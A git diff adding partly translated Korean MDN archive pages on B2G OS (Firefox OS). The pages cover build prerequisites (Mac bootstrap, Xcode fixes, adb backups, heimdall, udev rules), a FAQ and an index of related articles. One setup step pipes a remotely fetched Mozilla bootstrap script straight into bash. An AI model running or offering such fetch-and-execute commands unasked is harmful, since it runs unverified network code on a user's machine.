+ <strong>Note:</strong> Firefox OS 에뮬레이터는 Core 2 Duo 프러세스 혹은 그 이상을 요구합니다; 즉 Mac OS X 10.7 "Lion"에 호환되야 합니다. 그러나 이전 Mac OS에서도 Firefox OS를 빌드할 수는 있습니다.</div>
+<p><font face="Georgia, Times, Times New Roman, serif"><span style="font-size: 20px; line-height: 31px;"><b>Firefox OS Mac Bootstrap</b></span></font></p>
+<p>터미널을 열고 아래 명령을 실행합니다:</p>
+<pre class="brush: bash">curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash</pre>
+<p>It will pull and run a bootstrap script that makes sure you have all the prerequisites met to build the emulator. It will also prompt you for permission to install anything you're missing. The script will check for and install the following items:</p>
+<ul>
+ <li><code>git</code></li>
+ <li><code>gpg</code></li>
+ <li><code>ccache</code></li>
+ <li><code>yasm</code></li>
+ <li><code>autoconf-213</code></li>
+ <li><code>gcc-4.6</code></li>
+ <li><code>homebrew</code></li>
+</ul>
+<div>
+ <p>Xcode</p>
+ <p>If you have already upgraded to Xcode 4.4+ and get the message that Xcode is outdated, check the Xcode path with:</p>
+ <pre>xcode-select -print-path</pre>
+ If it still points to <code>/Developer</code> you can update the path with:
+ <pre>sudo xcode-select -switch /Applications/Xcode.app</pre>
+ Next to that be sure that you have the Mac OS X 10.6 SDK available at:
+ <pre>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre>
+ <p>If it cannot be found there you will need to extract and copy it from the Xcode 4.3 DMG file which is available at the <a class="external" href="https://developer.apple.com/downloads/index.action">Apple Developer</a> portal. You can use the utility Pacifist to extract the 10.6 SDK. Be sure to add a symlink to it to the <code>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</code> directory. (We can drop the 10.6 SDK requirement after <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=784227" title="https://bugzilla.mozilla.org/show_bug.cgi?id=784227">bug 784227</a> has been fixed, and our version of <a href="https://github.com/mozilla-b2g/B2G/issues/189" title="https://github.com/mozilla-b2g/B2G/issues/189">platform_build has been updated</a>.)</p>
+ <h3 id="Mountain_Lion">Mountain Lion</h3>
+ <div>
+  <p>If you are building on OS X 10.8 "Mountain Lion" (Xcode 4.4.1 or later) and encounter the following error:</p>
+  <pre style="font-size: 14px;">external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)</pre>
+  Edit the file: <code style="font-size: 14px;">B2G/external/qemu/Makefile.android</code> and add in line 78:<br>
+  <pre style="font-size: 14px;">MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
+</pre>
+  <div>
+   If you are on Mountain Lion and you receive an error during the installation of the dependencies via homebrew, such as:</div>
+ </div>
+</div>
+<div>
+ <pre>clang: error: unable to execute command: Segmentation fault: 11</pre>
+ ... try reinstalling the dependency manually adding the --use-gcc flag, for example:
+ <pre>brew install mpfr --use-gcc</pre>
+</div>
+<h3 id="Samsung_Galaxy_S2">Samsung Galaxy S2</h3>
+<p>If you plan to build for the Samsung Galaxy S2, you will also need to install heimdall. See <a href="#Installing_heimdall">Installing heimdall</a> for details. This is <strong>not</strong> done for you by the bootstrap script!</p>
+<div class="note">
+ <strong>Note:</strong> If you have installed the <a class="external" href="http://www.samsung.com/us/kies/" title="http://www.samsung.com/us/kies/">Samsung Kies</a> tool, which is used to manage the contents of many Samsung phones, you will have to remove it before you can flash Firefox OS onto your device. You can use the standard application removal process on Windows; on Mac, the Kies install disk image has a utility to fully remove Kies from your system. Flashing <strong>will not work</strong> if you have Kies installed. If you forget to remove Kies, the build system will detect it and remind you to uninstall it. Note also that the uninstall tool does not correctly remove the folder <code>~/Library/Application Support/.FUS</code>, and leaves a reference to a utility there in your user startup items list. You will want to remove these manually.</div>
+<div class="note">
+ <strong>Note:</strong> Mac OS X uses a case insensitive filesystem by default, which will prevent you from building Firefox OS down the road (<strong>EDITOR'S NOTE: I have never had a problem with this)</strong>.  You should create a case sensitive sparse disk image work from within that directory.  To buld the case sensitive disk image:</div>
+<pre>hdiutil create -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.dmg</pre>
+<p>Mount the drive with:</p>
+<pre>open ~/firefoxos.dmg</pre>
+<p>Change into the mouted drive with:</p>
+<pre>cd /Volumes/untitled/</pre>
+<h3 class="note" id="Fix_libmpc_dependency_if_broken">Fix libmpc dependency if broken</h3>
+<p>gcc 4.6 was built with libmpc 0.9; if you then use homebrew to update packages, libmpc gets updated to version 1.0, but homebrew doesn't rebuild gcc 4.6 after the library version changes. So you need to create a symlink to make things work again, like this:</p>
+<pre>cd /usr/local/lib/
+ln -s libmpc.3.dylib libmpc.2.dylib</pre>
+<h3 id="Optional_Install_HAX">Optional: Install HAX</h3>
+<p>Intel provides a special driver that lets the B2G emulator run its code natively on your Mac instead of being emulated, when you're using the x86 emulator. If you wish to use this, you can <a class="external" href="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/" title="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/">download and install</a> it. It's not required, but it can improve emulation performance and stability.</p>
+<h2 class="note" id="adb_설치">adb 설치</h2>
+<p>B2G를 단말기에 설치 하기 전에 기존에 단말기에 설치된 안드로이드를 꺼내 저장 해 두시기 바랍니다. 이 를 위해서는 adb(Android Debug Bridge)를 설치 하셔야 합니다.</p>
+<p>adb를 설치 하기 위해서는 <a class="external" href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK starter package</a>를 데스크 탑에 설치된 OS에 맞는 것을 설치 하셔야 합니다.(<em>ADT Bundle만 설치 하셔도 됩니다</em>). 설치 후, 패키지 메니저를 실행 하여 "Android SDK Platform-tools"를 설치 하세요.</p>
+<p><code>adb는</code> <code>$SDK_HOME/platform-tools에 설치 될 것입니다.</code> 설치 후에는 <code>PATH에 아래 경로를 추가 하세요</code>.</p>
+<pre>PATH=$SDK_HOME/platform-tools:$PATH</pre>
+<p>~/.bashrc파일에 $SDK_HOME가 있으면 그 경로를 자신이 설치한 Android sdk의 경로로 대체 하세요.없을시는 환경 설정을 추가 하세요. 그리고 아래와 같이 실행 하시면 단말기의 Android 전체 system폴더의 내용을 원하는 backup target dir로 가져옵니다:</p>
+<pre>adb pull /system &lt;backup target dir&gt;/system
+</pre>
+<p>이는 나중에 B2G를 제거 하고 Android로 복원할 수 있습니다. 단말기에 따라 /data폴더와 /vendor폴더도 복사 해야 하는 경우도 있습니다.</p>
+<pre>adb pull /data &lt;backup target dir&gt;/data
+adb pull /vendor &lt;backup target dir&gt;/vendor
+</pre>
+<p>"권한 없음(insufficient permission)"메시지와 함께 복사가 되지 않는 경우, adb server를 제 실행 해 보거나, adb tool에 <em>루트권한(root</em> permissions)이 주어졌는지 확인 하세요. (eg. under CyanogenMod, change 'Settings &gt; System &gt; Developer Options &gt; Root Access' to 'Apps and ADB' or 'ADB only').</p>
+<h2 class="note" id="Install_heimdall">Install heimdall</h2>
+<p>Heimdall is a utility for flashing the Samsung Galaxy S2. It's used by the Boot to Gecko flash utility to replace the contents of the phone with Firefox OS, as well as to flash updated versions of B2G and Gaia onto the device. You'll need it if you want to install Firefox OS on a Galaxy S2; it is <strong>not</strong> needed for any other device. For other devices, we build and use the fastboot utility instead.</p>
+<div class="note">
+ <strong>Note:</strong> Again, it's important to note that this is <strong>only required for installing Firefox OS on the Samsung Galaxy S2</strong>.</div>
+<p>There are two ways to install heimdall:</p>
+<ul>
+ <li>You can <a class="link-https" href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">download the code</a> GitHub and build it yourself.</li>
+ <li>Use a package manager to install it.
+  <ul>
+   <li>On Linux: <code>sudo apt-get install libusb-1.0-0 libusb-1.0-0-dev</code></li>
+   <li>On Mac, you can <a class="link-https" href="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg" title="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg">download an installer package</a> and use that.</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="ccache_설정_변경">ccache 설정 변경</h2>
+<p>기본 ccache 크기는 1GB로 되어 있습니다. B2G 빌드시 이는 부족한 크기이므로 아래와 같이 크기를 변경 해야 합니다.</p>
+<pre><code>$ ccache --max-size 3GB</code></pre>
+<h2 id="udev_rule에_개발_단말기_환경_추가">udev rule에 개발 단말기 환경 추가</h2>
+<p>"lsusb"를 실행하면 현재 연결된 단말기의 USB vendor ID를 보실 수 있습니다.대부분의 구글 단말기는 <code>"18d1"이며,</code> 삼성은 "<code>04e8"</code>, ZTE는 "<code>19d2"이므로</code> <code>/etc/udev/rules.d/51-android.rules</code>파일(해당 파일이 없으면 생성하세요)에 아래 "xxxx"부분에 해당 단말기의 id로 변경하여 추가 하세요.</p>
+<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"</pre>
+<p>ZTE단말기를 예로 들면, 51-android.rules파일에 아래와 같이 추가하세요.</p>
+<pre style="font-size: 14px;">SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", MODE="0666", GROUP="plugdev"</pre>
+<p><span style="line-height: 1.572;">위와 같이 추가 한 후에는 저장, 종료 후에 "읽기 모드"를 아래와 같이 변경해 주세요.</span></p>
+<pre>$ sudo chmod a+r /etc/udev/rules.d/51-android.rules
+</pre>
+<p>위와 같이 추가 한 후에는 adb명령을 수행 하면 아래와 같이 단말기를 adb에서 인식 할 수 있게 됩니다.</p>
+<pre style="font-size: 14px;">$adb devices
+List of devices attached
+123456          device</pre>
+<div>
+ 위와 같이 단말기가 나타나지 않는다면, 해당 파일이름이 맞는지, 연결이 잘되었는지, 확인 한 후 컴퓨터를 재시작 하고 위의 명령을 수행 해 보세요.</div>
+<h2 id="단말기를_개발자_모드로_바꾸기">단말기를 개발자 모드로 바꾸기</h2>
+<p>단말기를 USB에 연결하기 전에 아래와 같은 메뉴에서 단말기를 개발자 모드로 변경 하세요. 개발자 모드를 바꾸고 나면 디버깅과 단말기로 다운로드를 하실 수 있습니다. 설정(Settings) -&gt; 단말기 정보(<code>Device information)</code> -&gt; 모드 정보(<code>Mode Information)</code> -&gt; 개발자(<code>Developer</code>) -&gt; 개발자 모드(enable) <code>Developer mode</code></p>
+<h2 id="다음_단계로">다음 단계로</h2>
+<p>이제 <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build">Firefox OS코드를 가져올 단계</a>로 넘어 가겠습니다.</p>
diff --git a/files/ko/archive/b2g_os/firefox_os_faq/index.html b/files/ko/archive/b2g_os/firefox_os_faq/index.html
new file mode 100644
index 0000000000..adf78f75aa
--- /dev/null
+++ b/files/ko/archive/b2g_os/firefox_os_faq/index.html
@@ -0,0 +1,39 @@
+---
+title: Firefox OS FAQ
+slug: Archive/B2G_OS/Firefox_OS_FAQ
+translation_of: Archive/B2G_OS/Introduction
+---
+<dl>
+  <dt>
+    개발자용 테스트폰 구매는 어떻게 하나요?</dt>
+  <dd>
+    <a href="http://www.geeksphone.com/">Geeksphone</a> 웹 사이트로 부터 바로 구매할 수 있습니다.</dd>
+  <dt>
+    개발자용 테스트폰이 없이도 개발 가능한가요?</dt>
+  <dd>
+    물론입니다. <a href="https://hacks.mozilla.org/2012/10/firefox-marketplace-aurora/">Firefox Marketplace</a>를 안드로이드폰에서도 테스트해 보실 수 있으며, PC 데스크톱에서 <a href="https://hacks.mozilla.org/2012/12/firefox-os-simulator-1-0-is-here/">Firefox OS simulator</a>를 이용하실 수 있습니다.</dd>
+  <dt>
+    최종 출시폰과 비교하면 어떤가요?</dt>
+  <dd>
+    일반 소비자 시장에 맞추어 몇몇 파트너들과 함게 개발중인데 좀 더 시간이 지난 후에 공개할 수 있을 것 같습니다. </dd>
+  <dt>
+    Firefox OS를 저의 폰에 설치해 볼 수 있습니까?</dt>
+  <dd>
+    다음 문서를 참고 하십시오. <a href="/en-US/docs/" title="/en-US/docs/">https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS</a></dd>
+  <dt>
+    제가 만든 앱을 어떻게 Firefox OS에서 테스트할 수 있나요?</dt>
+  <dd>
+    안드로이드폰의 Marketplace나 Firefox OS simulator를 이용하시면 됩니다.</dd>
+  <dt>
+    Firefox OS란 무엇인가요?</dt>
+  <dd>
+    새로운 개념의 개방형 모바일 웹 운영 체제로서 웹 표준에 의해 만들어지며 Web API를 통해 HTML5 기술을 사용하여 직접 휴대폰 기능을 제어할 수 있고, 네이티브 수준의 앱 기능을 제공할 수 있습니다. </dd>
+  <dt>
+     Web API의 목록 및 표준화 정도는?</dt>
+  <dd>
+    많은 WebAPI가 Firefox OS의 초기 구현에 사용되었으며 아래 목록에서 살펴 보실 수 있습니다.  <a href="https://wiki.mozilla.org/WebAPI#APIs"> https://wiki.mozilla.org/WebAPI#APIs</a>. <a href="https://hacks.mozilla.org/2012/01/mozilla-joins-the-w3c-dap-webapi-progress/">=&gt;표준화 진행 상태</a>.</dd>
+  <dt>
+    Web API는 크로스플랫폼으로 표준화가 되나요?</dt>
+  <dd>
+    그렇습니다. API는 여러 벤더들과 함께 제작하여 다양한 플랫폼을 지원하게 되며 Web App이 직접 스마트폰을 제어할 수 있도록 크로스플랫폼을 지원할 수 있는 표준 방법을 제공할 것입니다. </dd>
+</dl>
diff --git a/files/ko/archive/b2g_os/index.html b/files/ko/archive/b2g_os/index.html
new file mode 100644
index 0000000000..230fd0ce6c
--- /dev/null
+++ b/files/ko/archive/b2g_os/index.html
@@ -0,0 +1,181 @@
+---
+title: B2G OS
+slug: Archive/B2G_OS
+tags:
+  - B2G
+  - B2G OS
+  - B2G OS 시작하기
+  - Basic
+  - Beginner
+  - Firefox OS
+  - FirefoxOS 시작하기
+  - Gaia
+  - Gonk
+  - Overview
+  - Starting FirefoxOS
+  - web based os from mozilla
+  - web os gecko
+  - 기본
+  - 모질라 재단이 만든 웹 기반 OS
+  - 초보자
+translation_of: Archive/B2G_OS
+---
+<p> </p>
+
+<div class="summary"><span class="seoSummary">B2G OS는 오픈 웹을 위한 완전하고 독립적인 운영체제입니다. B2G OS는 Mozilla 커뮤니티가 개발하는 오픈소스 프로젝트이며, Firefox OS 상품의 기반이 되고 있습니다. 2017년부터 더이상 유지보수되지 않습니다.</span></div>
+
+<p><strong>B2G</strong>는 스마트폰, 태블릿, 스마트 TV, 그 외 커넥티드 디바이스를 위한 오픈소스 운영체제이며, 커뮤니티에 의해 관리되고 있습니다. 이 프로젝트는 2011년에 <a href="https://wiki.mozilla.org/Booting_to_the_Web">시작</a>됐습니다. B2G는 리눅스 커널과 Gecko 렌더링 엔진을 바탕으로 하고 있습니다. 사용자 인터페이스 전체가 웹 기술(HTML, CSS, JavsScript)로 만들어져있으며, 이 사용자 인터페이스를 통해 <a href="/ko/Apps">웹 애플리케이션</a>을 실행하고 이용할 수 있습니다. Mozilla가 상용 Firefox OS 스마트폰 개발을 <a href="/en-US/docs">종료</a>하면서 B2G의 스마트폰 부분은 Mozilla의 자발적 커뮤니티가 개발하게 되었습니다. 이와 함께 B2G OS로 브랜드를 바꾸게 되었습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13140/B2g_wordmark.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="페이지_목록"><span>페이지 목록</span></h2>
+
+<dl>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/Automated_testing">B2G OS 테스트</a></dt>
+ <dd class="landingPageList">이 페이지는 B2G OS를 테스트하는 데 필요한 정보를 제공합니다. 서로 다른 테스트의 진행, 자동화, 결과 보고 및 추적에 대한 내용이 포함됩니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Add-ons">B2G OS 부가기능</a></dt>
+ <dd class="landingPageList">부가기능을 개발하기 위해서는 문서의 내용을 따라 진행해야 합니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/API">B2G OS APIs</a></dt>
+ <dd class="landingPageList">B2G OS API의 목록입니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/Platform/Architecture">B2G OS 아키텍처</a></dt>
+ <dd class="landingPageList">이 글은 B2G OS 플랫폼의 아키텍처에 대한 고수준 개요 글입니다. 주요 특징을 설명하고 각 구성요소가 기초 수준에서 어떻게 상호작용하는 지 설명합니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/B2G_OS_build_prerequisites">B2G OS build prerequisites</a></dt>
+ <dd class="landingPageList">단순히 Gaia의 빌드를 시도하고 있는 것뿐이라도, B2G OS를 빌드하기 위해 코드를 얻기 전 <a href="https://developer.mozilla.org/ko/docs/Build_Documentation" title="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions">빌드 시스템</a>을 제대로 설정해야 합니다. — 이 페이지는 그 방법을 설명합니다. 현재 빌드를 지원하는 OS는 64비트 리눅스 및 macOS입니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/Phone_guide">B2G OS 단말기 가이드</a></dt>
+ <dd class="landingPageList">이 글은 B2G OS를 구동하는 단말기에 대한 개발자 정보를 제공합니다. 개발자 단말기 및 소비자용 단말기 모두 포함되어 있습니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/Building_and_installing_Firefox_OS">B2G OS의 빌드와 설치</a></dt>
+ <dd class="landingPageList">이 페이지에 나열된 글은 B2G OS를 에뮬레이터나 호환 기기에서 빌드하고 설치하는 방법, 혹은 Gaia 사용자 인터페이스를 Firefox 브라우저에서 빌드하고 설치하는 방법을 안내할 것입니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/Building">B2G OS 빌드하기</a></dt>
+ <dd class="landingPageList"><a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/Firefox_OS_build_prerequisites" title="Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">빌드 시스템을 설정하고</a>, <a href="https://developer.mozilla.org/ko/docs/Archive/B2G_OS/Preparing_for_your_first_B2G_build" title="Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">코드의 초기 pull 작업 및 설정 작업</a>을 진행하면, Boot to Gecko를 빌드할 수 있게 됩니다. 이 설명서는 어떻게 B2G OS를 빌드하는 지 설명합니다.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Building_the_B2G_OS_simulator">Building the B2G OS Simulator</a></dt>
+ <dd class="landingPageList">Just like <a href="http://nightly.mozilla.org" title="http://nightly.mozilla.org">Firefox Nightlies</a>, the B2G OS simulator desktop client (identified by <em>b2g-</em>) is automatically built every day from the latest source code. The latest build is <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/" title="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">available from the Mozilla FTP server</a>. Be sure to pick the latest version and the right archive for your operating system. This lets you bypass having to build it yourself. In addition, you don't have to download Gaia on your own either.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G</a></dt>
+ <dd class="landingPageList">Depending on your specific needs, you have an assortment of options to consider when experimenting with Firefox OS or the <a href="https://developer.mozilla.org/en/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="en/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a> user interface. You can choose among the following options; each has its advantages and disadvantages to consider, and some are more flexible than others.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Crash_Reporting_Guide_for_Firefox_OS_Partners">Crash Reporting Guide for Firefox OS Partners</a></dt>
+ <dd class="landingPageList">Mozilla has a world-class system for collecting, analyzing, and fixing crashes and other stability issues such as hangs. Firefox OS partners need to work with Mozilla to correctly enable crash reporting and upload symbols.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a></dt>
+ <dd class="landingPageList">The <code>.userconfig</code> file isn't checked into source code control, so your changes won't be overwritten when you update your source tree. It needs to be created in the <a href="https://github.com/mozilla-b2g/B2G">root of the B2G tree</a>; that is, in the same directory as <code>flash.sh</code>, <code>build.sh</code>, and so forth. You should add this before you run your config and build steps.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Debugging">Debugging on Firefox OS</a></dt>
+ <dd class="landingPageList">There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Developer_Mode">Developer Mode</a></dt>
+ <dd class="landingPageList">The current Firefox OS permissions model precludes modification and installation of certified/internal apps, which makes some device APIs completely unavailable to Marketplace and web apps. <strong>Developer Mode (DM)</strong> allows the user to indicate that they would like to relax the permissions model and expose all device APIs to content, as well as setting a group of related preferences. This article provides a high-level overview.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Developing_Firefox_OS">Developing Firefox OS</a></dt>
+ <dd class="landingPageList">This section provides useful documentation covering different ways in which Firefox OS (codename Boot2Gecko, or B2G) can be modified/customized during the build process, and how you can help to develop the low level platform areas such as <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Gecko">Gecko</a> and <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gonk">Gonk</a>.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Firefox_OS_apps">Firefox OS apps</a></dt>
+ <dd class="landingPageList">This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Board_guide">Firefox OS board guide</a></dt>
+ <dd class="landingPageList">This section contains developer information relevant to specific phones that run Firefox OS — both developer and consumer devices.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Releases">Firefox OS developer release notes</a></dt>
+ <dd class="landingPageList">This section provides articles covering each new release of Gaia and Gecko for Firefox OS, explaining what features were added and bugs eliminated in each update. There is also a linked summary table showing what APIs are supported by each version of Firefox OS.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Security">Firefox OS security</a></dt>
+ <dd class="landingPageList">The following articles cover security-related topics about Firefox OS. This includes overall security features as well as application security and how the install process is kept secure.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Simulator">Firefox OS Simulator</a></dt>
+ <dd class="landingPageList"><span style="line-height: 1.5;">The Firefox OS Simulator is <span style="line-height: 1.5;">a version of the higher layers of Firefox OS</span> that simulates a Firefox OS device, but runs on the desktop</span><span style="line-height: 1.5;">. This means that in many cases, you don't need a real device to test and debug your app. </span><span style="line-height: 1.5;">It runs in a window the same size as a Firefox OS device, includes the Firefox OS user interface and built-in apps, and simulates many of the Firefox OS device APIs.</span></dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Firefox_OS_usage_tips">Firefox OS usage tips</a></dt>
+ <dd class="landingPageList">Explains all of the developer features on the phone and what they do (Settings &gt; Device information &gt; More information &gt; Developer)</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Developing_Gaia">Gaia</a></dt>
+ <dd class="landingPageList">Gaia is B2G OS's user interface and suite of default apps: it includes the lock screen, home screen, dialer, and other applications. Essentially, Gaia is a set of complex web apps that runs on top of the B2G OS platform. This set of articles covers all you need to know to contribute to the Gaia project.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></dt>
+ <dd class="landingPageList">Once you've built Boot to Gecko for a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Have_a_compatible_device_or_use_an_emulator">supported mobile device</a>, you can install it. This article will guide you through the process.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Introduction">Introduction to Firefox OS</a></dt>
+ <dd class="landingPageList">This set of documentation is aimed mainly at web developers and platform developers who want to learn how Firefox OS works, how to contribute to the project, and how to build their own custom versions of the software and install it on devices. For those who want to create and distribute their own web apps, the <a href="https://developer.mozilla.org/en-US/Apps">App Center</a> and <a href="https://developer.mozilla.org/en-US/Marketplace">Marketplace Zone</a> are good places to go.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Mulet">Mulet</a></dt>
+ <dd class="landingPageList">Following this guide you're going to run Gaia inside of a special build of Firefox called Firefox Mulet. This gives you the advantages of having a rapid development cycle, as well as standard web development tools and debuggers available to work with. First of all, you need to have the <a class="external external-icon" href="https://github.com/mozilla-b2g/gaia">Gaia</a> repo cloned on your machine and build your own profile. Then, you have to install mulet and run it, passing your Gaia profile as the profile to use.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Quickstart">Open web apps quickstart</a></dt>
+ <dd class="landingPageList">Quickstart information on coding Open Web Apps.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Pandaboard">Pandaboard</a></dt>
+ <dd class="landingPageList">This is a guide to setting up Firefox OS on a <a href="http://pandaboard.org/" title="http://pandaboard.org/">PandaBoard</a>. The PandaBoard is a low-cost OMAP 4 based development board for developing mobile operating systems.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/PasscodeHelper_Internals">PasscodeHelper Internals</a></dt>
+ <dd class="landingPageList">PasscodeHelper is a Gaia helper library for modifying and checking the Firefox OS lockscreen passcode (i.e., pin) from within Gaia, performing functions such as checking whether an entered passcode is correct, and changing the code. This article documents how PasscodeHelper works.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Porting_B2G_OS">Porting B2G OS</a></dt>
+ <dd class="landingPageList">This page lists the available resources for porting B2GOS.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first B2G build</a></dt>
+ <dd class="landingPageList">Depending on your internet connection, the configuration steps may take several hours to download everything you need to build B2G OS. Waiting is not as fun as doing, so after you have read through this page and have kicked off the configure script, consider using the time to set up and try out the <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator" title="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">B2G OS simulator</a>, begin familiarizing yourself with <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Apps" title="/en-US/docs/Apps">Documentation for app developers</a> including Designing and Building an App, or familiarize yourself with the information on upcoming steps.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Resources">Resources</a></dt>
+ <dd class="landingPageList"><em>Resources for App hackers, as generated from our workshops</em></dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Running_Tests_on_Firefox_OS_for_Developers">Running tests on Firefox OS: A guide for developers</a></dt>
+ <dd class="landingPageList">If you are a Gecko developer, then you should review the Firefox OS-specific documentation for the test automation you are already familar with: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/Mochitests">mochitest</a>, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/Reftests">reftest</a>, and <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Automated_testing/XPCShell">xpcshell</a>.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Platform">The B2G OS platform</a></dt>
+ <dd class="landingPageList">The B2G OS platform consists of many components. While you don't need to understand its architecture in order to build applications that run on B2G OS, if you're working on developing or porting the platform — or are simply curious — the following documentation may be of interest to you.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Troubleshooting">Troubleshooting B2G OS</a></dt>
+ <dd class="landingPageList">This article provides tips for resolving common problems you may have while using B2G OS.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Using_the_App_Manager">Using the App Manager</a></dt>
+ <dd class="landingPageList">The App Manager is a tool for Firefox Desktop which provides a number of useful tools to help developers test, deploy and debug HTML5 web apps on Firefox OS phones &amp; Simulator, directly from Firefox browser. This page documents how to use the App Manager.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Using_the_B2G_emulators">Using the B2G emulators</a></dt>
+ <dd class="landingPageList">This article provides a brief guide to some key things you should know when using the boot to Gecko emulators. This doesn't appear to be a complete user manual; instead, it simply tells you a few useful things that you might not learn on your own.</dd>
